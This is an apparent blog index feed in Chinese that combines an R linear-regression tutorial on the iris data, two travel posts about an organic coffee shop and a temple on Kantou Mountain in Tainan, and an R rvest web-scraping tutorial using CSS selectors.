\\end{aligned} \\]則可以在右側加上一個 0，這樣就代表不包含截距項的模型：\nSepal.Length ~ 0 + Sepal.Width + Petal.Width + Petal.Length 下表是常用於 R 公式中的各種符號與意義。\n符號 意義 ~ 分隔反應變數（左側）與解釋變數（右側）。 + 分隔多個解釋變數。 : 代表解釋變數之間的交互作用，例如 y ~ x + z + x:z 就代表除了以 x 與 z 解釋 y 之外，還加入了 x 與 z 兩個變量的交互作用。 * 代表所有可能的交互作用，例如 y ~ x * z * w 就等同於 y ~ x + z + w + x:z + x:w + z:w + x:z:w。 ^ 以次方表示變數之間的交互作用，例如 y ~ (x + z + w)^2 就等同於 y ~ x + z + w + x:z + x:w + z:w。 . 代表除了反應變數之外，data frame 中所有的變數，假設整個 data frame 中包含 x、y、z 與 w ，則 y ~ . 就代表 y ~ x + z + w。 - 減號代表從現有的模型中移除指定的解釋變數，例如 y ~ (x + z + w)^2 – x:w 就代表 y ~ x + z + w + x:z + z:w。 -1 移除截距項，例如 y ~ x - 1。 +0 移除截距項，與 -1 相同，例如 y ~ x + 0 或 y ~ 0 + x。 I() 以數學意義解釋，例如一般的 y ~ x + (z + w)^2 會等同於 y ~ x + z + w + z:w，而 y ~ x + I((z + w)^2) 則會等同於 y ~ x + h，其中這個 h 是一個新建立的變數，其值為 z 與 w 總和的平方，亦即 (h = (z + w)^2)。 一般函數 一般的數學函數都可以直接用在公式中，例如 log(y) ~ x + z + w。 線性迴歸模型 線性迴歸模型是最簡單的迴歸模型，它可以使用公式指定迴歸模型，並指定資料來源的 data frame，例如：\niris.lm \u0026lt;- lm(Petal.Width ~ Petal.Length, data = iris) iris.lm Call: lm(formula = Petal.Width ~ Petal.Length, data = iris) Coefficients: (Intercept) Petal.Length -0.3631 0.4158 這樣就完成最簡單的線性迴歸模型配適。\n以 lm 配適所得到的結果，可以使用以下這些函數來顯示更詳細的資訊，或做進一步的分析：\n函數 功能 summary() 顯示詳細的模型配適結果。 coefficients() 顯示模型的迴歸係數，包含截距項與各解釋變數的係數。 confint() 計算迴歸係數的區間估計值，預設會計算 95% 的信賴區間。 fitted() 根據模型計算配適值。 residuals() 根據模型計算殘差值。 anova() 計算變異數分析（ANOVA）表格。 vcov() 計算模型參數的變異數矩陣（covariance matrix）。 AIC() 計算模型的 AIC（Akaike’s Information Criterion）值。 plot() 畫出模型診斷用的各種圖形。 predict() 以配適出來的模型，對新的資料進行預測。 coefficients 可顯示配適出來的迴歸係數：\ncoefficients(iris.lm) (Intercept) Petal.Length -0.3630755 0.4157554 使用 summary 可以顯示更詳細一點的資訊：\nsummary(iris.lm) Call: lm(formula = Petal.Width ~ Petal.Length, data = iris) Residuals: Min 1Q Median 3Q Max -0.56515 -0.12358 -0.01898 0.13288 0.64272 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) (Intercept) -0.363076 0.039762 -9.131 4.7e-16 *** Petal.Length 0.415755 0.009582 43.387 \u0026lt; 2e-16 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 0.2065 on 148 degrees of freedom Multiple R-squared: 0.9271,\tAdjusted R-squared: 0.9266 F-statistic: 1882 on 1 and 148 DF, p-value: \u0026lt; 2.2e-16 列出模型的配適值：\nhead(iris$Petal.Width) 1 2 3 4 5 6 0.2189821 0.2189821 0.1774065 0.2605576 0.2189821 0.3437087 與實際值做比較：\nhead(fitted(iris.lm)) [1] 0.2 0.2 0.2 0.2 0.2 0.4 列出殘差值：\nhead(residuals(iris.lm)) 1 2 3 4 5 6 -0.01898206 -0.01898206 0.02259348 -0.06055760 -0.01898206 0.05629131 對於變數不多的模型，我們可以畫出其迴歸線與資料的圖形：\nplot(iris$Petal.Length, iris$Petal.Width, pch=21, bg = c(\u0026#34;red\u0026#34;, \u0026#34;green3\u0026#34;, \u0026#34;blue\u0026#34;)[unclass(iris$Species)], main = \u0026#34;Edgar Anderson\u0026#39;s Iris Data\u0026#34;, xlab = \u0026#34;Petal length\u0026#34;, ylab=\u0026#34;Petal width\u0026#34;) abline(iris.lm$coefficients, col = \u0026#34;black\u0026#34;) 有時候基本的線性模型可能會無法準確地解釋資料，我們來看 Sepal.Length 與 Sepal.Width 之間的關係：\niris.lm2 \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris) plot(iris$Sepal.Width, iris$Sepal.Length, pch=21, bg = c(\u0026#34;red\u0026#34;, \u0026#34;green3\u0026#34;, \u0026#34;blue\u0026#34;)[unclass(iris$Species)], main = \u0026#34;Edgar Anderson\u0026#39;s Iris Data\u0026#34;, xlab = \u0026#34;Petal length\u0026#34;, ylab=\u0026#34;Petal width\u0026#34;) abline(iris.lm2$coefficients, col = \u0026#34;black\u0026#34;) 這是 Sepal.Length 與 Sepal.Width 的迴歸線，直接從圖形上看起來就可以發現這個模型配適的不太好。\n若從 p-value 來看，結果也是一樣不好：\nsummary(iris.lm2) Call: lm(formula = Sepal.Length ~ Sepal.Width, data = iris) Residuals: Min 1Q Median 3Q Max -1.5561 -0.6333 -0.1120 0.5579 2.2226 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) (Intercept) 6.5262 0.4789 13.63 這種狀況若將資料依據 Species 分組，再使用迴歸線配適，結果就會比較好：\niris.lm2 \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris) iris.setosa.lm2 \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species==\u0026#34;setosa\u0026#34;),]) iris.versicolor.lm2 \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species==\u0026#34;versicolor\u0026#34;),]) iris.virginica.lm2 \u0026lt;- lm(Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species==\u0026#34;virginica\u0026#34;),]) plot(iris$Sepal.Width, iris$Sepal.Length, pch=21, bg = c(\u0026#34;red\u0026#34;, \u0026#34;green3\u0026#34;, \u0026#34;blue\u0026#34;)[unclass(iris$Species)], main = \u0026#34;Edgar Anderson\u0026#39;s Iris Data\u0026#34;, xlab = \u0026#34;Petal length\u0026#34;, ylab=\u0026#34;Petal width\u0026#34;) abline(iris.lm2$coefficients, col = \u0026#34;black\u0026#34;) abline(iris.setosa.lm2$coefficients, col = \u0026#34;red\u0026#34;) abline(iris.versicolor.lm2$coefficients, col = \u0026#34;green3\u0026#34;) abline(iris.virginica.lm2$coefficients, col = \u0026#34;blue\u0026#34;) 這樣三組資料所配適的模型都相當顯著。\nsummary(iris.setosa.lm2) Call: lm(formula = Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species == \"setosa\"), ]) Residuals: Min 1Q Median 3Q Max -0.52476 -0.16286 0.02166 0.13833 0.44428 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) (Intercept) 2.6390 0.3100 8.513 3.74e-11 *** Sepal.Width 0.6905 0.0899 7.681 6.71e-10 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 0.2385 on 48 degrees of freedom Multiple R-squared: 0.5514,\tAdjusted R-squared: 0.542 F-statistic: 58.99 on 1 and 48 DF, p-value: 6.71e-10 summary(iris.versicolor.lm2) Call: lm(formula = Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species == \"versicolor\"), ]) Residuals: Min 1Q Median 3Q Max -0.73497 -0.28556 -0.07544 0.43666 0.83805 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) (Intercept) 3.5397 0.5629 6.289 9.07e-08 *** Sepal.Width 0.8651 0.2019 4.284 8.77e-05 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 0.4436 on 48 degrees of freedom Multiple R-squared: 0.2766,\tAdjusted R-squared: 0.2615 F-statistic: 18.35 on 1 and 48 DF, p-value: 8.772e-05 summary(iris.virginica.lm2) Call: lm(formula = Sepal.Length ~ Sepal.Width, data = iris[which(iris$Species == \"virginica\"), ]) Residuals: Min 1Q Median 3Q Max -1.26067 -0.36921 -0.03606 0.19841 1.44917 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) (Intercept) 3.9068 0.7571 5.161 4.66e-06 *** Sepal.Width 0.9015 0.2531 3.562 0.000843 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 0.5714 on 48 degrees of freedom Multiple R-squared: 0.2091,\tAdjusted R-squared: 0.1926 F-statistic: 12.69 on 1 and 48 DF, p-value: 0.0008435 像上面這樣將資料分組之後，再進行配適的模型，可以使用這樣的公式表示：\nSepal.Length ~ Sepal.Width:Species + Species - 1 使用 lm 配適的結果完全相同：\niris.lm3 \u0026lt;- lm(Sepal.Length ~ Sepal.Width:Species + Species - 1, data = iris) iris.lm3 Call: lm(formula = Sepal.Length ~ Sepal.Width:Species + Species - 1, data = iris) Coefficients: Speciessetosa Speciesversicolor Speciesvirginica 2.6390 3.5397 3.9068 Sepal.Width:Speciessetosa Sepal.Width:Speciesversicolor Sepal.Width:Speciesvirginica 0.6905 0.8651 0.9015 由於 Species 是類別型的資料（R 的因子變數），無法直接用於迴歸模型的中，所以 R 會自動依據 Species 建立一些虛擬變數（dummy variables），讓它可以被用於迴歸模型中：\nSpeciessetosa：若 Species 為 setosa 則其值為 1，否則為 0。 Speciesversicolor：若 Species 為 versicolor 則其值為 1，否則為 0。 Speciesvirginica：若 Species 為 virginica 則其值為 1，否則為 0。 Sepal.Width:Speciessetosa：若 Species 為 setosa 則其值為 Sepal.Width，否則為 0。 Sepal.Width:Speciesversicolor：若 Species 為 versicolor 則其值為 Sepal.Width，否則為 0。 Sepal.Width:Speciesvirginica：若 Species 為 virginica 則其值為 Sepal.Width，否則為 0。 使用 summary 顯示詳細的結果：\nsummary(iris.lm3) Call: lm(formula = Sepal.Length ~ Sepal.Width:Species + Species - 1, data = iris) Residuals: Min 1Q Median 3Q Max -1.26067 -0.25861 -0.03305 0.18929 1.44917 Coefficients: Estimate Std. Error t value Pr(\u0026gt;|t|) Speciessetosa 2.6390 0.5715 4.618 8.53e-06 *** Speciesversicolor 3.5397 0.5580 6.343 2.74e-09 *** Speciesvirginica 3.9068 0.5827 6.705 4.25e-10 *** Sepal.Width:Speciessetosa 0.6905 0.1657 4.166 5.31e-05 *** Sepal.Width:Speciesversicolor 0.8651 0.2002 4.321 2.88e-05 *** Sepal.Width:Speciesvirginica 0.9015 0.1948 4.628 8.16e-06 *** --- Signif. codes: 0 ‘***’ 0.001 ‘**’ 0.01 ‘*’ 0.05 ‘.’ 0.1 ‘ ’ 1 Residual standard error: 0.4397 on 144 degrees of freedom Multiple R-squared: 0.9947,\tAdjusted R-squared: 0.9944 F-statistic: 4478 on 6 and 144 DF, p-value: \u0026lt; 2.2e-16 參考資料 Peter Cock Introduction to Multiple Linear Regression in R ","permalink":"https://blog.gtwang.org/r/r-distributions-and-linear-model/","summary":"\u003cp\u003e這裡介紹如何在 R 中的使用各種機率分佈以及基本模型配適方法。\u003c/p\u003e\n\u003cp\u003e資料的基本統計量以及各種圖形對於資料的了解有很大的幫助，但這兩種方式在資料比較複雜的狀況下會有些問題，例如當變數的數量很多時，基本的統計量無法呈現資料的詳細分布狀況，而太多的圖形則會使人難以理解，另外也無法對於未來的資料做預測。\u003c/p\u003e","title":"R 機率分佈與線性模型"},{"content":"台南東山的鄉舍咖啡館位於崁頭山孚佑宮仙公廟下方，其咖啡獲得美國咖啡品質協會精品級認證，是頂級的台灣在地有機咖啡。\n最近受到朋友的邀請，又再一次來到崁頭山，在崁頭山孚佑宮仙公廟住了一晚之後，隔天就到鄉舍咖啡館喝咖啡。\n日據時代日本人在台灣設置四個種植咖啡樹的區域，分別為雲林古坑區（惠蓀咖啡豆的來源地）、嘉義中埔、楠栖噍吧年農場（84號快速道路終點處，現為林務局苗圃）以及台東武鶴。\n鄉舍咖啡曾老闆的祖父曾綠波當時在楠栖區的咖啡試驗農場服務，當時的日本人詢問老闆的祖父是否有興趣種植，也願意提供咖啡種苗，曾祖父在取得種苗將之種植在東山區崁頭山間，由於當時沒有人知道如何運用咖啡豆，因此任由鳥類、松鼠、猴子等野生動物自由採食、自然散播，這也是現今咖啡樹廣布於東山林間的原因。\n鄉舍咖啡館 鄉舍咖啡館經歷一甲子有餘的歲月至今，不但種植有機咖啡樹，還自行研發咖啡的烘焙機，採用阿拉比卡咖啡豆，咖啡香氣低沉、入口回甘。\n鄉舍咖啡館距離仙公廟很近，從仙公廟走下來也可以。\n鄉舍咖啡館旁邊有專屬的停車場，對於自行開車的人來說非常方便。\n鄉舍咖啡館門口的小招牌。\n這是鄉舍咖啡館的座位。\n在這裡周圍隨時都有各種蟲鳴與鳥叫聲。\n點一杯咖啡坐在這裡休憩，相當舒服。\n這裡的有機咖啡都是採集熟豆所烘培的，所以咖啡因的含量很低，我個人通常只要喝到一般的咖啡，喝太多頭就會痛，但是喝這裡的咖啡完全不會，推薦喜歡咖啡的人可以來這裡品嚐。\n這裡有一個很特別的「冰滴咖啡」，是老闆自己研發的，使用過濾的山泉水直接沖泡而成，加上咖啡冰塊，夏天喝正好。\n喝冰滴咖啡，賞風景。\n現烤的鬆餅。\n淋上自家生產的蜂蜜，喜歡甜點的人可以來一盤。\n這是老闆特別招待的脆梅。\n老闆娘熱情招待的花草茶與瓜子。\n這是 SGS 檢驗報告，這裡生產的咖啡通過 SGS 驗證，251 農藥均未驗出，是真正的有機咖啡。\n鄉舍咖啡在 2015 年榮獲美國咖啡品質協會精品級認證，得到 CQI 分數 83.84 分，品質在國內外皆備受肯定。\n咖啡館上頭掛了一排獎狀，還有國外拿回來的。\n這是鄉舍咖啡館的曾老闆。\n這裡也有賣濾泡式咖啡隨身包，如果這裡的咖啡您喝過感覺不錯，就可以買回去自己在家泡來喝。\n這是老闆用來裝咖啡豆的玻璃罐，因為感覺很漂亮，所以跟老闆借來拍一下。\n這裡也有賣小包的咖啡豆。\n台南市政府文化局有製作一段介紹影片「從府城出發」，影片中鄉舍咖啡曾老闆有詳細說明整個咖啡的生產過程。\n山區的天氣變化很快，一天中時常有各種不同的景象，像我剛來的時候還出大太陽，過了沒多久就下大雨，下雨天的景色也別有風味。\n不過這場雨也下不久，之後又出大太陽。\n名稱：台南東山鄉舍咖啡館\n地址：台南市東山區南勢村 1 鄰 10-1 號\n網址：Facebook 粉絲專頁\n咖啡老樹古道 從仙公廟到鄉舍咖啡館除了開車之外，也可以走這裡的步道。\n這裡的咖啡老樹古道環境也不錯。\n步道很寬敞，帶著小朋友走也很方便。\n步道旁邊可以看到咖啡樹。\n這是尚未成熟的咖啡豆。\n這些都是有機栽種的咖啡。\n順著步道走下來，就會到鄉舍咖啡館，這是鄉舍咖啡館旁邊的步道入口。\n這裡的步道入口處也有導覽圖。\n咖啡老樹古道。\n步道旁的小溪。\n這是鄉舍咖啡館種植的蓮花。\n蓮花葉上還有小動物。\n","permalink":"https://blog.gtwang.org/life/hometown-coffee-dongshan-tainan/","summary":"\u003cp\u003e台南東山的鄉舍咖啡館位於崁頭山孚佑宮仙公廟下方，其咖啡獲得美國咖啡品質協會精品級認證，是頂級的台灣在地有機咖啡。\u003c/p\u003e\n\u003cp\u003e最近受到朋友的邀請，又再一次來到崁頭山，在\u003ca href=\"/life/tainan-dongshan-fuyou-temple-201606/\"\u003e崁頭山孚佑宮仙公廟\u003c/a\u003e住了一晚之後，隔天就到鄉舍咖啡館喝咖啡。\u003c/p\u003e","title":"台南東山鄉舍有機咖啡：美國咖啡品質協會精品級認證"},{"content":"台南東山孚佑宮仙公廟是一間位於崁頭山西側山腰上的呂祖廟，環境清幽、後方還有登山步道，是許多登山客與車友常去的著名景點。\n上週六受到朋友的邀約，帶著小朋友全家開車到崁頭山的仙公廟玩，跟著朋友的車上山後，晚上就住在仙公廟的客房，隔天則是到鄉舍咖啡館喝有機咖啡。\n這次是我第二次來這裡，上一次來仙公廟的時候阿玄都還沒出生，這次剛好有機會帶他上來玩，以下是這次去所拍攝的一些照片與紀錄。\n這是崁頭山孚佑宮仙公廟的入口，周圍都有停車場，每逢特殊節日時，都會有非常多香客包遊覽車來這裡。\n崁頭山孚佑宮仙公廟 崁頭山標高 844 公尺，位於台南市東山區南勢村，相傳於明末清初時，先民進入大埔墾殖，越嶺至崁頭山麓，有感於此地山靈水秀，便設祠於此，主祀呂洞賓先公，保佑越嶺先民的平安。崁頭山孚佑宮仙公廟已經有 400 年的歷史，孚佑宮二樓更有全國唯一奉祀齊全的八仙神像，靈山毓秀，是靜心休憩健行的首選聖地。\n因為這次是有備而來，大部分的照片都是上腳架以 HDR 拍攝的，現場的視野非常棒，不過我沒有超廣角的鏡頭，腳架也不太好用，這次沒有拍出它非常壯觀的景象。\n這幾張是我在清晨六點多拍攝的，剛好太陽從仙公廟的後方升起，陽光從後方照射進來，感覺很漂亮。\n這是仙公廟主殿的正面。\n這是崁頭山孚佑宮大殿正門口上方的匾額。\n崁頭山孚佑宮仙公廟主祀孚佑帝君。\n大殿內還有一尊孚佑帝君的立像。\n大殿右側供奉註生娘娘。\n大殿左側供奉福德正神。\n主殿內部的景象很漂亮。\n這是主殿旁邊的文昌殿。\n這是主殿旁邊的元辰殿。\n主殿前的廣場上有兩隻石獅子。\n主殿前的廣場就是一個觀景台，從這裡看出去的視野非常壯觀。\n這裡還有投幣式的望遠鏡可以使用。\n天氣好的時候，在這裡時常都可以看到老鷹。\n我們家阿玄想要用望遠鏡看老鷹。\n這裡的觀景台是朝西的，所以在下午使用望遠鏡時，請注意不可以對到太陽，以免眼睛受傷，尤其小朋友使用時一定要注意。\n在大殿旁邊有供應咖啡葉茶，需要的人可以自行取用。\n八仙殿 在主殿的樓下就是八仙殿。\n這裡供奉南極仙翁與八仙。\n這是側邊的摸祥鶴。\n觀音佛祖殿 八仙殿的樓下則是觀音佛祖殿。\n南極殿 在下方另外一邊還有一間南極殿。\n餐廳 在仙公廟用餐是非常方便的，廟方的餐廳每天早、中、晚都有提供素食的餐點，不管是香客、旅客、登山客都可以來這裡自由用餐，而用餐費用則是以隨喜樂捐的方式，自由捐獻。\n這裡的餐廳空間非常大，可以容納相當多的香客。\n來這裡用餐時，請自行拿取餐具。\n早餐是稀飯與白飯，想吃多少就盛多少。\n這是早餐的配菜，選擇還滿多的。\n若是人少的時候，自己找位子坐下來就可以吃了，如果人比較多的時候，工作人員會分配座位。\n這個豆鼓是這裡的名產，很好吃喔。\n這是我們家阿玄在吃早餐的樣子。\n這是午餐的配菜。\n在餐廳門口有販售仙公廟自製的豆鼓，很多遊客都會來這裡買回去送親朋好友。\n這裡的豆鼓每罐價格是 100 元，12 罐免運宅配，可以打廟方的電話訂購，以現金袋的方式付款。\n吃完飯之後，臨走前記得投一些香油錢喔。\n香客大樓 仙公廟的側邊是香客大樓，這裡有提供住宿的服務，環境清幽，喜歡清靜的人很適合來這裡休憩。\n若要住宿的話，請事先電話訂房，並且要在晚上八點以前到大殿拿鑰匙，而住宿的費用則是於退房時在大殿櫃臺繳納，金額隨喜。\n退房的時間很彈性，吃完中餐再退房也沒有關係，這對於想要爬山的旅客非常方便，可以早上去爬山，下來之後還可以沖澡、換衣服，整理乾淨再退房。退房時就將鑰匙拿到大殿的櫃檯繳回，並且在櫃台隨喜繳納香油錢，這裡的工作人員會開一張正式的感謝狀（收據）給您。\n這是香客大樓的內部。\n我們家三個人這次訂一間四人廂房。\n這裡的環境打掃的都很整潔。\n浴室也很乾淨。\n門上有貼一張逃生路線圖，第一次來的時候記得看一下。\n崁頭山登山步道 在仙公廟的後方就是崁頭山登山步道，這裡的是許多登山客很喜歡來的地方，時常一早就有非常多的遊客開車來這裡登山。\n這是崁頭山步道的導覽。\n崁頭山登山步道全程約為 2.5 公里，步道入口位於山腳下孚佑宮旁，沿階梯而上，中途有一觀景涼亭。在登頂前 20 分鐘，右側有一條繞行的山路連接後山的產業道路，此時選擇左側路線續行。下山可由山頂上另一條石階梯而下，直到步道叉路口，再接回原路線，繞行一圈約需兩小時，困難度不高，適合一般登山健行者攀登。\n這是登山步道入口的指標。\n這條登山步道除了得天獨厚的先天地理優勢之外，硬體設施也維護得非常好，石階與欄杆都設置的很周全，小朋友來走也可以（當然體力是前提）。\n這條步道剛好就在仙公廟後方，從這裡往下看的視野也很好。\n步道沿途都有一些可以乘坐與休息的區域。\n我們家阿玄第一次來這裡爬山，很興奮的樣子。\n這次經過登山步道入口的時候，阿玄就直接吵著要上來了，所以沒有先換長褲，還好防蚊液有帶在身上。\n石階配上兩側的青草，感覺很漂亮。\n這是離入口不遠處的涼亭。\n在登山時有一些注意事項，：\n攜帶飲用水、乾糧、遮陽或防曬用具與個人藥品。 遵守步道指示、警告標示，並隨時注意自身安全。 請勿升火煮炊，以免引起森林火災。 不走捷徑、不任意離開步道，以免造成土壤流失及環境衝擊。 請勿值採花木，或驚擾、獵捕野生動物。 垃圾請自行帶下山。 名稱：台南東山崁頭山孚佑宮仙公廟\n電話：(06) 686-1502\n傳真：(06) 686-0467\n地址：台南市東山區南勢里大洋 14 號\nEmail：fuyotemple@gmail.com\n網址：http://www.fuyo-temple.com.tw/\n","permalink":"https://blog.gtwang.org/life/tainan-dongshan-fuyou-temple-201606/","summary":"\u003cp\u003e台南東山孚佑宮仙公廟是一間位於崁頭山西側山腰上的呂祖廟，環境清幽、後方還有登山步道，是許多登山客與車友常去的著名景點。\u003c/p\u003e\n\u003cp\u003e上週六受到朋友的邀約，帶著小朋友全家開車到崁頭山的仙公廟玩，跟著朋友的車上山後，晚上就住在仙公廟的客房，隔天則是到\u003ca href=\"/life/hometown-coffee-dongshan-tainan/\"\u003e鄉舍咖啡館\u003c/a\u003e喝有機咖啡。\u003c/p\u003e","title":"台南東山崁頭山孚佑宮（仙公廟）"},{"content":"這裡介紹如何運用 R 的 rvest 套件來擷取任何的網頁資料，直接將資料從網頁中萃取出來，匯入 R 中進行後續的處理。\n在巨量資料（big data）與物聯網（IOT）的時代，有相當多的資料都是透過網路來取得的，由於資料量日益增加，對於資料分析者而言，如何使用程式將網頁中大量的資料自動匯入是很重要的。\n許多程式語言都有網頁擷取的工具可以使用，R 語言也不例外，以下我們要介紹如何使用 R 的 rvest 套件擷取任意的網頁資料，並將大量結構化的資料直接匯入 R 中，讓資料分析者可以省去手動整理資料的時間。\n網頁資料結構 首先我們要先簡單介紹 HTML 的資料結構，以及 CSS 選擇器（selector）的使用方式，有了這些觀念才能精準地抓出網頁中的資料。\nHTML 資料基本觀念 目前網路上絕大部分的網頁都是以 HTML 格式來呈現的，因此若想要抓取其中的資料，就必須對 HTML 的格式有初步的了解，這裡簡單介紹基本 HTML 的資料格式與概念，有了基本的概念才能做進一步的資料擷取。若您已經熟悉 HTML 的語法，可以跳過這一段的說明。\n以下是一個簡單的 HTML 網頁原始程式碼。\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;網頁標題\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;p\u0026gt;網頁內容\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;foo\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;bar\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 一個 HTML 網頁中含有各種網頁的元素（elements），每一個元素通常都會使用 HTML 的標籤（tags）前後包起來，例如：\n\u0026lt;p\u0026gt;網頁內容\u0026lt;/p\u0026gt; 而大部分的 HTML 元素都是以巢狀的資料結構存在的，也就是說一個元素中可能還會包含其他很多不同的元素，例如：\n\u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;foo\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;bar\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; 這樣的狀況就是一個 \u0026lt;ul\u0026gt; 元素中還包含兩個 \u0026lt;li\u0026gt; 元素。\n基本上每一個 HTML 網頁中的資料都是以這樣的階層式規則來呈現的，當要抓取網頁中的資料時，只要明確得知資料在這個階層結構中的位置，就可以很容易的將資料以程式自動取出。\n若只是要抓取網頁資料，僅需了解 HTML 基本的朝狀結構概念即可，網頁中的每個 HTML 標籤都有不同的意義，關於細部的內容請自行參考網路上的教學。\nCSS 選擇器（Selector） CSS 選擇器（Selector）是 CSS 用來指定網頁元素的一種語法，假設一個 HTML 網頁中有一個 \u0026lt;p\u0026gt; 元素：\n\u0026lt;p class=\u0026#34;key\u0026#34; id=\u0026#34;principal\u0026#34;\u0026gt; ... \u0026lt;/p\u0026gt; 若要使用 CSS 選擇器來選擇這個元素的話，可以直接寫標籤名稱：\np { /* CSS 設定值 ... */ } 這樣寫的意思就是取出所有網頁 HTML 中所有的 \u0026lt;p\u0026gt; 元素，但是這樣可能會連同其它不需要的 \u0026lt;p\u0026gt; 元素也一起選取進來，如果要更精準的選取元素，可以加上 class 屬性的資訊：\np.key { /* CSS 設定值 ... */ } 這樣就會選取網頁中 class 屬性為 key 的 \u0026lt;p\u0026gt; 元素，另外也可以單獨使用 class 屬性來篩選：\n.key { /* CSS 設定值 ... */ } 這樣就會選取網頁中 class 屬性為 key 的所有元素。最精準的方式則是使用 id 屬性：\n#principal { /* CSS 設定值 ... */ } 這樣就會選取網頁中 id 屬性為 principal 的元素。\n對於比較複雜的結構，也可以用階層式的 CSS 選擇器來指定，假設 HTML 程式碼為：\n\u0026lt;div class=\u0026#34;foo\u0026#34;\u0026gt; \u0026lt;p\u0026gt; \u0026lt;span class=\u0026#34;bar\u0026#34;\u0026gt; ... \u0026lt;/span\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; 若要選擇此結構下最內層的 \u0026lt;span\u0026gt; 元素，可以使用：\ndiv.foo p span.bar { /* CSS 設定值 ... */ } 以上就是基本的 HTML 結構與 CSS 選擇器的概念，對於這些技術有基本的認識之後，就可以開始進行網頁資料的擷取工作了。\nSelectorGadget SelectorGadget 是 Google Chrome 瀏覽器的一個外掛工具，可以用來顯示網頁中任意元素的 CSS 選擇器路徑，幫助我們快速擷取網頁上的資料。\n名稱：SelectorGadget\n適用瀏覽器：Google Chrome\n下載網址：Chrome 線上應用程式商店\n官方網站：https://selectorgadget.com/\nSelectorGadget 這個工具的安裝方式有兩種，一種是從 Chrome 線上應用程式商店直接安裝（一般使用者建議使用此方式），而另外一種則是直接將 SelectorGadget 官方網站上所提供的連結拖曳至瀏覽器書籤，要使用的時候點選這個連結即可。\n安裝好 SelectorGadget 之後，我們以 R 語言的 Wiki 頁面來做示範，說明如何定位出網頁中的任何資料。\nStep 1\n打開 R 語言的 Wiki 頁面，並開啟 SelectorGadget 工具列，SelectorGadget 工具列在開啟之後，就會顯示在頁面的右下角。\nStep 2\n使用滑鼠點選要擷取的資料。\n被點選的 HTML 元素會以綠色標示，而這時候 SelectorGadget 會嘗試偵測使用者想要抓取資料的規則，產生一組 CSS 選擇器並顯示在 SelectorGadget 工具列上，同時網頁上所有符合這組 CSS 選擇器的 HTML 元素都會以黃色標示，也就是說目前這組 CSS 選擇器會擷取所有綠色與黃色的 HTML 元素。\nStep 3\n通常 SelectorGadget 所自動偵測的 CSS 選擇器可能會包含一些我們不想要的資料，這時候請使用滑鼠將那些被標示為黃色但是應該要排除的 HTML 元素。\n當滑鼠點擊黃色的元素之後，該元素就會變成紅色，並且將該元素排除在外。\nStep 4\n使用滑鼠的選擇與排除功能，將所有要擷取的元素精準的標示出來，產生一組精確的 CSS 選擇器。\n有了這組精確的 CSS 選擇器之後，就可以利用 R 的 rvest 套件來將資料直接截取至 R 中處理了。\nR 的 rvest 套件 rvest 是一個專門用來擷取網頁資料的 R 套件，可以跟 magrittr 套件配合使用，建立複雜的資料流管線操作。\n基本用法 首先從 CRAN 安裝 rvest 套件：\ninstall.packages(\u0026#34;rvest\u0026#34;) library(rvest) 使用 read_html 函數先將整個網頁的原始 HTML 程式碼抓下來：\npage.source \u0026lt;- read_html(\u0026#34;https://en.wikipedia.org/wiki/R_(programming_language)\u0026#34;) 再使用 html_nodes 函數，配合 CSS 選擇器將指定的資料取出來：\nversion.block \u0026lt;- html_nodes(page.source, \u0026#34;.wikitable th+ td , th:nth-child(2) , .wikitable th:nth-child(1)\u0026#34;) head(version.block) {xml_nodeset (6)} [1] Release [2] Date [3] 0.16 [4] [5] 0.49 [6] 1997-04-23 使用 html_text 將 HTML 程式碼中的文字資料取出來：\ncontent \u0026lt;- html_text(version.block) head(content) [1] \"Release\" \"Date\" \"0.16\" \"\" \"0.49\" \"1997-04-23\" 其他用法 html_nodes 函數也支援 xpath 的指定方式：\nversion.block2 \u0026lt;- html_nodes(page.source, xpath = \u0026#39;//table[@class=\u0026#34;wikitable\u0026#34;]//tr//th\u0026#39;) content2 \u0026lt;- html_text(version.block2) head(content2) [1] \"Release\" \"Date\" \"Description\" \"0.16\" \"0.49\" \"0.60\" html_name 可以列出所有的 HTML 元素標籤：\nhtml_name(version.block) [1] \"th\" \"th\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" [18] \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" \"th\" \"td\" html_attrs 可以列出每個 HTML 元素的所有屬性：\nel.attrs \u0026lt;- html_attrs(version.block) head(el.attrs) [[1]] named character(0) [[2]] named character(0) [[3]] named character(0) 